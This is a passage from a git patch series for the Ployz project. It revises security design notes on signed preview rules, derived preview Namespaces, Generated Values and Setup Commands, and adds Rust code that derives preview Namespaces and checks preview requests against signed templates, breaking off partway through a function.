From 95e663c1c386f52d142a387047f59354b70bebdf Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 13:23:46 +0000
Subject: [PATCH 1/8] Record the root's preview template decisions after D7's
 prototype

---
 docs/agents/plans/security-0.4/d-build-proof.md | 16 ++++++++++++----
 docs/agents/plans/security-0.4/d-plan.md        | 16 +++++++++++-----
 2 files changed, 23 insertions(+), 9 deletions(-)

diff --git a/docs/agents/plans/security-0.4/d-build-proof.md b/docs/agents/plans/security-0.4/d-build-proof.md
index 48f018f465..f111b129c2 100644
--- a/docs/agents/plans/security-0.4/d-build-proof.md
+++ b/docs/agents/plans/security-0.4/d-build-proof.md
@@ -294,9 +294,11 @@ PreviewRule                          purpose: Rule
   services       [PreviewService]
     name         ServiceName
     template     PayloadDigest          the preview's spec with derived fields as placeholders (below)
+    setup        Option<PayloadDigest>  the same with its Setup Commands, for a first creation
     policy       BuildPolicy
     secrets      Option<SealedDigest>
     inherit      [String]               parent Sealed keys this Service may open in a preview
+    generated    {key: Generator}       Generated Values, each `secret(LEN, "CHARSET")`
 ```
 
 **Who is trusted.** The signed list of GitHub account IDs. Cloud's membership rows cannot add to it. For a `push` run, `actor_id` is the account that pushed. For a re-run it stays the original actor, so a re-run cannot change who is trusted. A bot is trusted only if its ID is in the list. Ployz's own App bot is never added by default.
@@ -305,18 +307,24 @@ PreviewRule                          purpose: Rule
 
 ### Derived fields, checked before hashing
 
-A preview's spec differs from its parent's in three fields Cloud used to choose: the Namespace, preview hostnames, and the Sealed identity's Environment. Under a preview rule, the Machine derives each one itself from the signed rule and facts it verified, checks the spec holds exactly that value, and only then hashes.
+A preview's spec differs from its parent's in fields Cloud used to choose: the Namespace, preview hostnames, the Sealed identity's Environment, and Generated Values. Under a preview rule, the Machine derives or checks each one itself from the signed rule and facts it verified, checks the spec holds exactly that value, and only then hashes.
 
 - **Preview key.** For a trusted push, `branch:<name>`, from the verified `ref` claim. For a review, the key the signed review names, `branch:<name>` or `fork:<pull request number>`.
 - **Namespace.** `pv-<first 16 hex of rule>-<first 12 hex of SHA-256(preview key)>`. The rule ID is 128 random bits from the approver's client, so Cloud cannot choose it to collide with another rule's. That pattern is reserved. A Machine refuses any creation in a Namespace of that form unless it is admitted under the preview rule it derives from. It also refuses a preview-rule creation in any other Namespace. Thread C's deploy approval and the automatic deploy rule refuse reserved Namespaces, and Cloud's Namespace allocator never hands one to an ordinary Environment. So preview code can only land in a Namespace that holds nothing but that preview's own Containers and Volumes. A preview's Ordinary and Provisioned Volumes get their physical names from the Namespace (`ScopedVolumeSource::physical_name`, `ployz-core/src/domain/volume.rs:104`). So preview code cannot mount a production Volume of those kinds.
 - **Hostnames.** Each Ingress hostname in a preview spec must be `<label>.<Namespace>.<domain>`. The template holds the label, the rule signs `domain`, and the Namespace is derived. Because the derived Namespace label is reserved, no preview hostname can equal a production hostname.
 - **Sealed identity.** A trusted preview may carry only inherited Sealed values (below), so the Container's own `sealed_identity` opens nothing. The template holds it as a placeholder. For a review, the signed review names the preview's Environment ID, and the identity must equal it.
 
-`PreviewTemplate::of(spec, derived)` replaces the image with the empty string, and replaces every occurrence of the derived Namespace, derived hostnames and checked identity with fixed placeholders. Then it takes `PayloadDigest`. The Machine substitutes only strings it derived itself. A Cloud-chosen production Namespace or hostname anywhere in the spec stays literal and fails the template. The CLI computes the template from the parent's Saved revision through the preview lowering with the same placeholders.
+- **Generated Values.** A Generated Value is a fresh random string per Environment, so no signed template can hold it. The preview rule names each Service's generated keys with their generator, `secret(LEN, "CHARSET")`. Before hashing, the Machine checks that each such value has exactly that length and only characters of that charset, then puts the generator text in its place. Cloud can only choose a random-looking string for a key the person signed. It cannot put a URL or a command there.
 
-**Volume names are not placeholders.** A preview keeps its parent's logical Volume names. The Namespace separates their physical names. A Bind Mount or an External Volume in the parent stays literal in the template, so a preview using one shares it with production. The CLI prints such mounts as "shared with production" and refuses to sign a preview rule that has one unless `--share-mounts` is given.
+`PreviewTemplate::of(spec, derived)` replaces the image with the empty string, and replaces every occurrence of the derived Namespace, derived hostnames, the checked identity and the checked Generated Values with fixed placeholders. Then it takes `PayloadDigest`. The Machine substitutes only strings it derived or checked itself. A Cloud-chosen production Namespace or hostname anywhere in the spec stays literal and fails the template. The CLI computes the template from the parent's Saved revision through the preview lowering with the same placeholders. So what the preview lowering always changes from the parent, one replica per Service and Live Node references to the parent's Namespace, is part of the template, and the Machine checks it like any other setting.
 
-Whether the preview lowering differs from the parent's only in these fields, and keeps logical Volume names, is the riskiest unproven claim in this design. D7 starts with a prototype that checks it. If Own Copies are renamed today, D7 changes the lowering to keep their logical names, rather than adding a placeholder.
+**Setup Commands.** A preview's Own Copy runs its Setup Commands in its pre-deploy hook until it first deploys successfully. So the same preview's spec carries them on its first deploy and not after. Each `PreviewService` signs two template digests, one with the Setup Commands and one without. A Machine accepts the digest with them only for a preview's first creation of that Service: no Service Container of that Service exists in the derived Namespace on this Machine. Otherwise it requires the digest without them.
+
+**Volume names are not placeholders.** A preview keeps its parent's logical Volume names. The Namespace separates their physical names, because `physical_name` is `namespace.volume_name(logical)` (`ployz-core/src/domain/volume.rs:104`). The lowering names an Own Copy Volume after its lineage only in a derived preview Namespace. Renaming it in every Branch would leave a Kept Branch such as staging on a new, empty Volume at its next deploy, while a derived Namespace is always new. A Bind Mount or an External Volume in the parent stays literal in the template, so a preview using one shares it with production. The CLI prints such mounts as "shared with production" and refuses to sign a preview rule that has one unless `--share-mounts` is given.
+
+**Bookkeeping labels.** The `cloud.ployz.service.id` label is lowered from the Service's lineage ID, which a Branch shares with its Parent, so the label is the same in every preview of a rule and needs no placeholder. Cloud reads it only as bookkeeping. A wrong label is a mislabel.
+
+D7's prototype lowered a parent and its PR Environment for one commit (2026-11-10). They differed outside the derived fields in four ways: Own Copy Volume names (a new Volume ID per PR), the Service ID label (a new ID per PR), Generated Values (a new value per Environment) and the Setup Commands. The fixed differences were one replica and Live Node references to the parent's Namespace. The program's root took decisions 1 to 5 of `d-plan.md` gap 10 on 2026-11-10 under the operator's autopilot grant, and the four bullets above are those decisions. D7's test now checks that two previews of one rule differ only in derived fields.
 
 ### Inheriting a Sealed value
 
diff --git a/docs/agents/plans/security-0.4/d-plan.md b/docs/agents/plans/security-0.4/d-plan.md
index 42922368ea..f514f7f881 100644
--- a/docs/agents/plans/security-0.4/d-plan.md
+++ b/docs/agents/plans/security-0.4/d-plan.md
@@ -287,11 +287,11 @@ The semantics are in `d-build-proof.md`, "A person deploys a built image (D6)".
 
 Outcome. Pushes by trusted GitHub accounts to branches of the repository deploy their PR Environment with no review. The Machine derives each preview's Namespace and hostnames from the signed preview rule and facts it verified, so a preview can land only in a Namespace holding nothing but that preview. A preview inherits only the parent Sealed values the preview rule names, opened in place on the Machine. Untrusted PRs keep the review path. A review is checked before the reviewed build gets any secret, and it is bound to the commit the builder checked out. Attack path closed. Cloud's membership rows and bot flag no longer decide trust. Cloud cannot place preview code in a production Namespace or behind a production hostname. It cannot give a preview a parent secret the rule does not name, or release preview secrets to an unreviewed commit.
 
-**Depends on.** D4. The prototype box below. Appendix A gaps 4, 8 and 9. Operator decisions 6 and 11, and thread B's passkey-direct signing path for decision 6 (gap 2).
+**Depends on.** D4. The prototype box below. Appendix A gaps 4, 8, 9 and 10. Operator decisions 6 and 11, and thread B's passkey-direct signing path for decision 6 (gap 2).
 
 **Prototype first.**
 
-- [ ] Lower a parent Environment and its PR Environment for the same commit, and diff their requested specs. Pass when they differ only in the Namespace (including strings that embed it), preview hostnames and the Sealed identity, and when Own Copies keep their parent's logical Volume names. If Own Copies are renamed, D7 changes the lowering to keep the names. If any other field differs, stop and redesign the template before building.
+- [x] Lower a parent Environment and its PR Environment for the same commit, and diff their requested specs. Pass when they differ only in the Namespace (including strings that embed it), preview hostnames and the Sealed identity, and when Own Copies keep their parent's logical Volume names. If Own Copies are renamed, D7 changes the lowering to keep the names. If any other field differs, stop and redesign the template before building. Ran on 2026-11-10 and stopped at this gate. Beyond the allowed set, Own Copy Volume names, the Service ID label, Generated Values and Setup Commands differed, and so did one replica and Live Node references to the parent's Namespace. Two previews of one rule also differed in the first three. The root redesigned the template as gap 10, and D7's test now checks that two previews of one rule differ only in derived fields.
 
 **Files.**
 
@@ -343,6 +343,12 @@ Outcome. Pushes by trusted GitHub accounts to branches of the repository deploy
 7. **`BuildApproval` and its grant authority (thread A, with C).** D6 adds a `Workflow` statement that authorizes a grant for a non-head commit on the approved branch's history. It also uses thread C's existing `DeployApproval` with a content-addressed image for the deploy, so C's digest semantics are unchanged. A must agree to the statement. C confirms that a built image's `<repository>@<digest>` passes `content_addressed` (`ployz-core/src/authority/deploy.rs:122`).
 8. **`PreviewReview` grant authority, and the decision 6 signing path (threads A and B).** D7 checks a review at grant, before secrets open, and refuses a session-signed review of a Service that inherits values or has build secrets. A must agree to the statement and to the signer rule. B must provide a passkey-direct assertion over a review body in the dashboard, the same helper as gap 2.
 9. **Reserved preview Namespaces (thread C).** D7 makes thread C's deploy approval refuse the `pv-<16 hex>-<12 hex>` Namespace pattern, and makes Cloud's Namespace allocator never assign it. That is a check inside C's `deploy::verify`, so C's owner reviews it.
+10. **The preview template after D7's prototype (threads A and C).** Taken by the program's root on 2026-11-10 under the operator's autopilot grant, on behalf of threads A and C. `d-build-proof.md`, "Derived fields, checked before hashing", has the detail.
+    1. *Volume names.* An Own Copy Volume is lowered under its parent's logical name, so the derived Namespace alone keeps the data apart. D7 applies this only in a derived preview Namespace, because renaming it in every Branch would leave a Kept Branch on a new, empty Volume.
+    2. *Service ID label.* `cloud.ployz.service.id` is lowered from the lineage ID, which a Branch shares with its Parent. It is bookkeeping, so a wrong label is a mislabel residual.
+    3. *Generated Values.* The template keeps the generator, `secret(LEN, "CHARSET")`. Before hashing, the Machine checks that the real value has exactly that length and charset.
+    4. *Setup Commands.* `PreviewService` signs two digests, with and without the Setup Commands. The Machine accepts the first only for a preview's first creation, when no Service Container of that Service exists in the derived Namespace on this Machine.
+    5. *The test.* It checks that two previews of one rule differ only in derived fields: the Namespace, hostnames, the Sealed identity and the checked Generated Values. The CLI builds the template through the preview lowering, so one replica and Live Node references to the parent's Namespace are part of it.
 
 ## Appendix B. The real GitHub environment
 
@@ -368,7 +374,7 @@ Unproven until the slice that proves it:
 
 - An audience as long as `ployz-build:` plus 64 hex characters is accepted. D3 lane 2.
 - Actions cache isolation by branch. D3 lane 9.
-- A PR Environment's spec differs from its parent's only in fields `PreviewTemplate` derives, and Own Copies keep their logical Volume names. D7's prototype.
+- A PR Environment's spec differs from its parent's only in fields `PreviewTemplate` derives, and Own Copies keep their logical Volume names. D7's prototype found otherwise on 2026-11-10, and gap 10 redesigned the template.
 - HPKE authenticated mode in `hpke` 0.13 opens on the runner with the attest public key, and refuses a base-mode or wrongly keyed response. D3's unit tests and lane 11.
 - `workflow_dispatch` with a `commit` input can check out a fork pull request's commit from the base repository. D7 lane 7.
 - `GET /repositories/<id>/compare/<base>...<head>` by repository ID reports `ahead` or `identical` when the head descends from the base, and `behind` for an unmerged descendant of the head. Checked read-only during review. D6 lane 2 confirms it on the lab repository.
@@ -376,8 +382,8 @@ Unproven until the slice that proves it:
 
 ## Appendix D. Handoffs
 
-- **Thread A.** Gaps 1, 3, 4, 6, 7 and 8 above.
+- **Thread A.** Gaps 1, 3, 4, 6, 7, 8 and 10 above.
 - **Thread B.** Gaps 2 and 8. Decision 6 changes what a session may approve for previews, and the Machine enforces it.
-- **Thread C.** D6 uses C's `DeployApproval` unchanged, with a content-addressed built image. D7 widens `sealed_scope_allows` for reviews, as C4 left it to do, and adds gap 9's reserved Namespace refusal to `deploy::verify`. C's cache decision is applied as `d-build-proof.md` says.
+- **Thread C.** Gap 10. D6 uses C's `DeployApproval` unchanged, with a content-addressed built image. D7 widens `sealed_scope_allows` for reviews, as C4 left it to do, and adds gap 9's reserved Namespace refusal to `deploy::verify`. C's cache decision is applied as `d-build-proof.md` says.
 - **Thread F.** `MintBuildGrant`, `Build` and the two new capability rows join F's coverage table. Removing the old dispatched workflow path belongs to F's cutover.
 - **Operator, outside code.** Y's O1 and O2 on the `getployz` organization and the App, the minter's owner, and Appendix B.

From 0ef792bd1a934f7ed184de63d425f2ac56178b35 Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 13:57:53 +0000
Subject: [PATCH 2/8] Add the preview rule, the preview review and the template
 a Machine checks a preview against

---
 .../crates/ployz-core/src/authority/deploy.rs |  55 +-
 core/crates/ployz-core/src/authority/mod.rs   |  11 +-
 .../ployz-core/src/authority/preview.rs       | 791 ++++++++++++++++++
 .../ployz-core/src/authority/preview_tests.rs | 667 +++++++++++++++
 core/crates/ployz-core/src/authority/rule.rs  | 114 ++-
 .../crates/ployz-core/src/config/generated.rs |   9 +
 core/crates/ployz-core/src/sealed.rs          |  48 +-
 core/crates/ployz-store/src/client_sealed.rs  |   1 +
 core/crates/ployz-store/src/variables.rs      |   1 +
 core/crates/ployz/src/build/local.rs          |   2 +
 core/crates/ployz/src/build/sealed.rs         |   5 +
 core/crates/ployz/src/handlers/build.rs       |   1 +
 core/crates/ployz/src/sealed_compat_tests.rs  |   1 +
 core/crates/ployzd/src/github/oidc.rs         |   9 +-
 core/crates/ployzd/src/github/oidc_tests.rs   |   1 +
 .../machine/local_machine/restart_approval.rs |  72 +-
 .../src/machine/local_machine/rule_deploy.rs  |   8 +-
 .../local_machine/rule_deploy_tests.rs        |   2 +-
 .../src/machine/local_machine/rule_grant.rs   |  19 +-
 .../machine/local_machine/rule_grant_tests.rs |   1 +
 core/crates/ployzd/src/sealed_env.rs          |   4 +
 core/crates/ployzd/src/sealing_key.rs         |   1 +
 22 files changed, 1747 insertions(+), 76 deletions(-)
 create mode 100644 core/crates/ployz-core/src/authority/preview.rs
 create mode 100644 core/crates/ployz-core/src/authority/preview_tests.rs

diff --git a/core/crates/ployz-core/src/authority/deploy.rs b/core/crates/ployz-core/src/authority/deploy.rs
index 0d0a6c9315..bbaf02053b 100644
--- a/core/crates/ployz-core/src/authority/deploy.rs
+++ b/core/crates/ployz-core/src/authority/deploy.rs
@@ -51,13 +51,26 @@ impl PayloadDigest {
             .mount_graph
             .scope_to_namespace(namespace)
             .map_err(|error| CanonicalError::Parse(error.to_string()))?;
-        let mut value = serde_json::to_value(&spec)
-            .map_err(|error| CanonicalError::Parse(error.to_string()))?;
+        Self::of_scoped(&spec, |_| {})
+    }
+
+    /// The digest of `spec` with its Volumes already scoped, after `edit` changed its JSON
+    /// form, such as a preview template's placeholders.
+    ///
+    /// # Errors
+    /// Returns a [`CanonicalError`] when the spec has no canonical form.
+    pub(super) fn of_scoped(
+        spec: &RequestedServiceSpec,
+        edit: impl FnOnce(&mut Value),
+    ) -> Result<Self, CanonicalError> {
+        let mut value =
+            serde_json::to_value(spec).map_err(|error| CanonicalError::Parse(error.to_string()))?;
         if let Value::Object(fields) = &mut value {
             fields.remove("mode");
             fields.remove("update");
         }
         drop_nulls(&mut value);
+        edit(&mut value);
         let body = canonical::to_canonical(&value)?;
         Ok(Self(Sha256::digest(body.as_bytes()).into()))
     }
@@ -544,6 +557,9 @@ pub fn verify(
         })?;
     }
     super::validity::verify(body.issued_at, body.expires_at, facts.now)?;
+    if let Some(creation) = facts.creation {
+        refuse_preview_parts(facts.namespace, creation.spec)?;
+    }
     let digest = facts
         .creation
         .map(|creation| creation_digest(&body, creation))
@@ -551,6 +567,41 @@ pub fn verify(
     Ok(DeployApproved { body, by, digest })
 }
 
+/// Refuse a creation, outside a preview rule, in a reserved preview Namespace or carrying a
+/// parent's value a preview inherits: only a preview rule may admit either, so preview code
+/// shares a Namespace with nothing else and an inherited value opens nowhere else.
+///
+/// # Errors
+/// Returns [`AuthorityRefusal::Mismatch`] naming the Namespace or the Sealed value.
+pub fn refuse_preview_parts(
+    namespace: &Namespace,
+    spec: &ResolvedServiceSpec,
+) -> Result<(), AuthorityRefusal> {
+    if super::preview::is_preview_namespace(namespace) {
+        return Err(AuthorityRefusal::Mismatch {
+            field: "a preview Namespace",
+        });
+    }
+    if sealed_values(spec).any(|value| value.environment.is_some()) {
+        return Err(AuthorityRefusal::Mismatch {
+            field: super::preview::SEALED_VALUE,
+        });
+    }
+    Ok(())
+}
+
+fn sealed_values(spec: &ResolvedServiceSpec) -> impl Iterator<Item = &crate::SealedValue> {
+    let hook = spec
+        .pre_deploy
+        .iter()
+        .flat_map(|hook| hook.environment.values());
+    spec.container
+        .environment
+        .values()
+        .chain(hook)
+        .flat_map(EnvValue::sealed_parts)
+}
+
 /// Whether `by` may approve a Container that opens the Sealed values `spec` carries, in its
 /// environment or its hook's. A Device opens any. A browser key under a session grant
 /// opens only values sealed for its grant's Environment, so a dashboard holding a session
diff --git a/core/crates/ployz-core/src/authority/mod.rs b/core/crates/ployz-core/src/authority/mod.rs
index 52d52a90cb..56b9de207c 100644
--- a/core/crates/ployz-core/src/authority/mod.rs
+++ b/core/crates/ployz-core/src/authority/mod.rs
@@ -12,6 +12,7 @@ pub mod canonical;
 pub mod deploy;
 pub mod join;
 pub mod keys;
+pub mod preview;
 pub mod proposal;
 pub mod refusal;
 pub mod restart;
@@ -29,13 +30,17 @@ pub use deploy::{
 };
 pub use join::JoinApproval;
 pub use keys::{Approver, KeySignature, Purpose, Signed, Signer, SigningPublicKey, Statement};
+pub use preview::{
+    CheckedReview, PreviewFacts, PreviewKey, PreviewReview, PreviewRule, PreviewService, Review,
+    ReviewSigner, ReviewedService,
+};
 pub use proposal::{ProposalApproval, ProposalRef, ProposalStep, StepDigest, StepKind};
 pub use refusal::AuthorityRefusal;
 pub use restart::{Approved, RestartApproval, RestartFacts, RestartStep, SignerKey, WorkflowKind};
 pub use rule::{
-    AttestKey, AutoDeployRule, BuildClaim, BuildPolicy, BuildStage, CommitAuthority, CommitSha,
-    GithubClaims, ImageDigest, PolicyDigest, RecipientKey, RuleFacts, RuleId, RuleProof,
-    RuleService, RuleSource, SealedDigest,
+    AttestKey, AutoDeployRule, BuildClaim, BuildPolicy, BuildStage, ClaimRule, CommitAuthority,
+    CommitSha, GithubClaims, ImageDigest, PolicyDigest, RecipientKey, ReviewDigest, RuleFacts,
+    RuleId, RuleIdentity, RuleProof, RuleService, RuleSource, SealedDigest,
 };
 pub use session::{ActionFamily, GrantBody, SessionGrant};
 pub use starting_set::{Member, StartingSet};
diff --git a/core/crates/ployz-core/src/authority/preview.rs b/core/crates/ployz-core/src/authority/preview.rs
new file mode 100644
index 0000000000..43dc791c80
--- /dev/null
+++ b/core/crates/ployz-core/src/authority/preview.rs
@@ -0,0 +1,791 @@
+//! Previews under a preview rule: the rule a person signs once for an Environment's pull
+//! request previews, the review a person signs for one untrusted commit, and the checks a
+//! Machine runs on a preview's build and Containers.
+//!
+//! A Machine derives each preview's Namespace itself, from the rule's ID and a preview key
+//! it verified: the branch GitHub names in a trusted push's token, or the key a signed
+//! review names. Only then does it hash the spec, with that Namespace and the Generated
+//! Values it checked replaced by placeholders, against what the person signed. A
+//! Cloud-chosen production Namespace or hostname anywhere in the spec stays literal and
+//! fails the template. Nothing here verifies a JWT or touches a key.
+
+use std::collections::{BTreeMap, BTreeSet};
+use std::fmt;
+
+use serde::{Deserialize, Deserializer, Serialize};
+use serde_json::Value;
+use sha2::{Digest as _, Sha256};
+use ts_rs::TS;
+use uuid::Uuid;
+
+use super::{
+    canonical::{self, Timestamp},
+    deploy::{Creation, PayloadDigest, content_addressed},
+    keys::{Approver, Purpose, Signed, SigningPublicKey, Statement, signing_input},
+    refusal::AuthorityRefusal,
+    restart::SignerKey,
+    rule::{
+        AttestKey, BuildClaim, BuildPolicy, BuildStage, ClaimRule, CommitAuthority, CommitSha,
+        GithubClaims, ImageDigest, PolicyDigest, ReviewDigest, RuleId, RuleIdentity, RuleSource,
+        RuleStatement, SealedDigest,
+    },
+    session::{ActionFamily, GrantScope},
+    trusted_key::{PasskeyAssertion, TrustedKeys},
+};
+use crate::{
+    ContainerKind, DeviceCode, EnvValue, MachineId, Namespace, RequestedServiceSpec,
+    SealingPublicKey, ServiceName, config::Generator,
+};
+
+/// What every occurrence of a preview's derived Namespace becomes before its spec is
+/// hashed. Braces never appear in a Namespace or a hostname.
+pub const NAMESPACE_PLACEHOLDER: &str = "{preview-namespace}";
+
+/// Which preview of a rule this is: a branch of the repository, or a fork's pull request.
+#[derive(Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd, Serialize, Deserialize, TS)]
+#[serde(try_from = "String", into = "String")]
+#[ts(type = "string")]
+pub enum PreviewKey {
+    Branch(String),
+    Fork(u64),
+}
+
+impl PreviewKey {
+    /// # Errors
+    /// Returns a [`crate::ValueError`] unless `value` is `branch:<name>` or
+    /// `fork:<pull request number>`.
+    pub fn parse(value: &str) -> Result<Self, crate::ValueError> {
+        let invalid = || {
+            crate::ValueError::new(
+                "preview key",
+                value,
+                "branch:<name> or fork:<pull request number>",
+            )
+        };
+        if let Some(branch) = value.strip_prefix("branch:") {
+            return (!branch.is_empty())
+                .then(|| Self::Branch(branch.to_owned()))
+                .ok_or_else(invalid);
+        }
+        value
+            .strip_prefix("fork:")
+            .filter(|number| !number.is_empty() && number.bytes().all(|b| b.is_ascii_digit()))
+            .and_then(|number| number.parse().ok())
+            .map(Self::Fork)
+            .ok_or_else(invalid)
+    }
+}
+
+impl fmt::Display for PreviewKey {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        match self {
+            Self::Branch(branch) => write!(formatter, "branch:{branch}"),
+            Self::Fork(number) => write!(formatter, "fork:{number}"),
+        }
+    }
+}
+
+impl TryFrom<String> for PreviewKey {
+    type Error = crate::ValueError;
+
+    fn try_from(value: String) -> Result<Self, Self::Error> {
+        Self::parse(&value)
+    }
+}
+
+impl From<PreviewKey> for String {
+    fn from(value: PreviewKey) -> Self {
+        value.to_string()
+    }
+}
+
+/// The Namespace a preview of `rule` runs in: `pv-`, the first 16 hex digits of the rule
+/// ID, `-`, and the first 12 hex digits of SHA-256 of the preview key. The rule ID is
+/// random from the approver's client, so Cloud cannot pick one that collides with another
+/// rule's previews.
+#[must_use]
+pub fn preview_namespace(rule: RuleId, key: &PreviewKey) -> Namespace {
+    let rule = rule.to_string();
+    let key: String = Sha256::digest(key.to_string().as_bytes())
+        .iter()
+        .take(6)
+        .map(|byte| format!("{byte:02x}"))
+        .collect();
+    Namespace::parse(format!("pv-{}-{key}", rule.get(..16).unwrap_or_default()))
+        .expect("a preview Namespace is a DNS label")
+}
+
+/// Whether `namespace` has the reserved preview form, `pv-<16 hex>-<12 hex>`. Only a
+/// creation under the preview rule it derives from may land in one.
+#[must_use]
+pub fn is_preview_namespace(namespace: &Namespace) -> bool {
+    let hex = |part: &str, len| {
+        part.len() == len
+            && part
+                .bytes()
+                .all(|byte| byte.is_ascii_digit() || (b'a'..=b'f').contains(&byte))
+    };
+    namespace
+        .as_str()
+        .strip_prefix("pv-")
+        .and_then(|rest| rest.split_once('-'))
+        .is_some_and(|(rule, key)| hex(rule, 16) && hex(key, 12))
+}
+
+/// A preview's Ingress hostname: `<label>.<namespace>.<domain>`.
+#[must_use]
+pub fn preview_hostname(label: &str, namespace: &Namespace, domain: &str) -> String {
+    format!("{label}.{namespace}.{domain}")
+}
+
+/// One Service a preview rule deploys in each preview.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct PreviewService {
+    pub name: ServiceName,
+    /// [`template`] of the preview's spec without its Setup Commands.
+    pub template: PayloadDigest,
+    /// [`template`] of the same spec with them, which only a preview's first creation of
+    /// this Service may carry. `None` when it has none.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub setup: Option<PayloadDigest>,
+    pub policy: BuildPolicy,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub secrets: Option<SealedDigest>,
+    /// The parent's Sealed keys this Service may open in a preview.
+    #[serde(default, skip_serializing_if = "BTreeSet::is_empty")]
+    #[ts(optional, as = "Option<BTreeSet<String>>")]
+    pub inherit: BTreeSet<String>,
+    /// Its Generated Values by key, each a fresh random value per preview.
+    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
+    #[ts(optional, as = "Option<BTreeMap<String, Generator>>")]
+    pub generated: BTreeMap<String, Generator>,
+}
+
+impl PreviewService {
+    /// Whether a preview of this Service opens any secret: a parent value or a build
+    /// secret. A session may not review such a preview (operator decision 6).
+    #[must_use]
+    pub fn holds_secrets(&self) -> bool {
+        !self.inherit.is_empty() || self.secrets.is_some()
+    }
+}
+
+/// A person's standing approval of previews of one Environment: pushes by trusted GitHub
+/// accounts to the repository's other branches deploy with no review, into a Namespace
+/// and hostnames each Machine derives. Signed by a Device, like an automatic deploy rule.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct PreviewRule {
+    pub cluster: SealingPublicKey,
+    pub rule: RuleId,
+    pub generation: u64,
+    /// Sorted and distinct.
+    #[serde(deserialize_with = "sorted_distinct")]
+    pub machines: Vec<MachineId>,
+    /// The Namespace of the Environment previews start from.
+    pub parent: Namespace,
+    /// That Environment's Cloud ID, the one its Sealed values are sealed for.
+    #[ts(type = "string")]
+    pub parent_id: Uuid,
+    /// Previews' hostnames live under it.
+    pub domain: String,
+    /// The parent's source: its branch is where reviewed builds run.
+    pub source: RuleSource,
+    /// GitHub account IDs whose pushes deploy a preview with no review. Sorted and
+    /// distinct.
+    #[serde(deserialize_with = "sorted_distinct")]
+    pub trusted: Vec<u64>,
+    /// Sorted by name and distinct.
+    #[serde(deserialize_with = "services_by_name")]
+    pub services: Vec<PreviewService>,
+    pub issued_at: Timestamp,
+    pub ended: bool,
+    pub signer: SignerKey,
+}
+
+impl Statement for PreviewRule {
+    const PURPOSE: Purpose = Purpose::Rule;
+}
+
+impl RuleStatement for PreviewRule {
+    fn signer(&self) -> SignerKey {
+        self.signer
+    }
+}
+
+impl ClaimRule for PreviewRule {
+    fn identity(&self) -> RuleIdentity<'_> {
+        RuleIdentity {
+            rule: self.rule,
+            generation: self.generation,
+            repository_id: self.source.repository_id,
+            branch: &self.source.branch,
+            namespace: &self.parent,
+        }
+    }
+
+    /// Every claim an automatic deploy rule checks, at whichever branch the token names:
+    /// which branch may build a preview depends on the build's authority.
+    fn verify_claims(&self, claims: &GithubClaims) -> Result<(), AuthorityRefusal> {
+        if !claims.git_ref.starts_with("refs/heads/") {
+            return Err(AuthorityRefusal::Mismatch { field: "ref" });
+        }
+        self.source.verify_claims(claims, &claims.git_ref)
+    }
+}
+
+impl PreviewRule {
+    #[must_use]
+    pub fn service(&self, name: &ServiceName) -> Option<&PreviewService> {
+        self.services.iter().find(|service| service.name == *name)
+    }
+
+    /// Which preview a build of `commit` under `authority` is, from the token's verified
+    /// `claims`. A trusted push is a push by an account in `trusted` to a branch other
+    /// than the parent's, of the commit GitHub ran for; its head is the caller's to read.
+    /// A reviewed build is a dispatch on the parent's branch of the commit the review
+    /// names.
+    ///
+    /// # Errors
+    /// Returns [`AuthorityRefusal::Mismatch`] naming the first fact that does not hold.
+    pub fn preview_key(
+        &self,
+        claims: &GithubClaims,
+        commit: CommitSha,
+        authority: CommitAuthority,
+        review: Option<&CheckedReview>,
+    ) -> Result<PreviewKey, AuthorityRefusal> {
+        let mismatch = |field| Err(AuthorityRefusal::Mismatch { field });
+        let parent = format!("refs/heads/{}", self.source.branch);
+        match (authority, review) {
+            (CommitAuthority::Head, None) => {
+                let Some(branch) = claims.git_ref.strip_prefix("refs/heads/") else {
+                    return mismatch("ref");
+                };
+                if claims.git_ref == parent {
+                    return mismatch("a branch");
+                }
+                if claims.event_name != "push" {
+                    return mismatch("event_name");
+                }
+                if !self.trusted.contains(&claims.actor_id) {
+                    return mismatch("an account");
+                }
+                if commit != claims.sha {
+                    return mismatch("a commit");
+                }
+                Ok(PreviewKey::Branch(branch.to_owned()))
+            }
+            (CommitAuthority::Review(digest), Some(review)) => {
+                if digest != review.digest {
+                    return mismatch("a review");
+                }
+                if claims.git_ref != parent {
+                    return mismatch("ref");
+                }
+                if claims.event_name != "workflow_dispatch" {
+                    return mismatch("event_name");
+                }
+                if commit != review.body.commit {
+                    return mismatch("a commit");
+                }
+                Ok(review.body.key.clone())
+            }
+            (CommitAuthority::Head, Some(_)) | (CommitAuthority::Review(_), None) => {
+                mismatch("a review")
+            }
+        }
+    }
+}
+
+/// What a Machine knows when it checks a preview's step or creation: its own facts, the
+/// preview it derived from verified claims, and the branch head it read just now.
+#[derive(Clone, Copy, Debug)]
+pub struct PreviewFacts<'a> {
+    pub cluster: SealingPublicKey,
+    pub attest: AttestKey,
+    pub machine: &'a MachineId,
+    /// The Namespace of the Container the request creates or acts on.
+    pub namespace: &'a Namespace,
+    pub service: &'a ServiceName,
+    pub key: &'a PreviewKey,
+    /// The head of the preview's branch, read from GitHub now. `None` for a reviewed
+    /// build, whose authority is the review.
+    pub head: Option<CommitSha>,
+    /// No Service Container of this Service exists in the Namespace on this Machine, so
+    /// a creation may still run the Setup Commands.
+    pub first: bool,
+}
+
+impl PreviewRule {
+    /// Check a step on an existing Container of a preview: the rule's Cluster, Machines
+    /// and Service, a live generation, the Namespace derived from the preview key, and
+    /// `claim` naming this rule's build under its authority. `claim` must be authentic.
+    ///
+    /// # Errors
+    /// Returns [`AuthorityRefusal::Mismatch`] naming the first fact that does not hold.
+    pub fn verify_step(
+        &self,
+        claim: &BuildClaim,
+        facts: &PreviewFacts<'_>,
+        review: Option<&CheckedReview>,
